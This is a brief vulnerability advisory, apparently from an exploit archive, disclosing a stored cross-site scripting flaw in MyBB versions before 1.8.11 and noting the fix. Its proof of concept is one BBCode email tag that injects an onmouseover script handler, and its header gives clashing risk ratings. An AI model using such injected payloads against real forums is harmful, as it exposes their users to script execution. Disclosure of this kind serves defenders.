MyBB <1.8.11 Cross Site Scripting

2017.04.12

Credit: Zhiyang Zeng

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

#################################
Description:
============
product:MyBB
Homepage:https://mybb.com/
vulnerable version:<1.8.11
Severity:High risk
===============
Proof of Concept:
=============
1.post a thread or reply any thread ,write:
[email=2"onmouseover="alert(document.location)]hover me[/email]
then when useras mouse hover it,XSS attack will occur!
============
Fixed:
============
This vulnerability was fixed in version 1.8.11
https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/
=============
Best regards,
Zhiyang Zeng of Tencent security platform department

See this note in RAW Version

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MyBB <1.8.11 Cross Site Scripting

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